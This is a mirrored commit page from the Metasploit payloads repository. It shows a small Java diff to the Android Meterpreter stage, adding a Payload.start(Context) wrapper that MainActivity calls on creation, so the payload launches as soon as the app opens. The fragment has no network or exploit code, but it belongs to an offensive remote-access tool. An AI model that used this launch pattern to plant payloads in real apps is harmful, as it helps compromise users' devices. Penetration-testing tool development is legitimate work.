mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-01-02 11:36:22 +01:00
fix Payload.start
This commit is contained in:
parent
dfeb0d3fef
commit
98aa4babbf
@ -8,7 +8,7 @@ public class MainActivity extends Activity
|
||||
@Override
|
||||
protected void onCreate(Bundle savedInstanceState) {
|
||||
super.onCreate(savedInstanceState);
|
||||
Payload.startInPath(getFilesDir().toString());
|
||||
Payload.start(this);
|
||||
finish();
|
||||
}
|
||||
}
|
||||
|
@ -1,5 +1,7 @@
|
||||
package com.metasploit.stage;
|
||||
|
||||
import android.content.Context;
|
||||
|
||||
import java.io.DataInputStream;
|
||||
import java.io.DataOutputStream;
|
||||
import java.io.File;
|
||||
@ -28,6 +30,10 @@ public class Payload {
|
||||
|
||||
private static String[] parameters;
|
||||
|
||||
public static void start(Context context) {
|
||||
startInPath(context.getFilesDir().toString());
|
||||
}
|
||||
|
||||
public static void startAsync() {
|
||||
new Thread() {
|
||||
@Override
|
||||
|
Loading…
Reference in New Issue
Block a user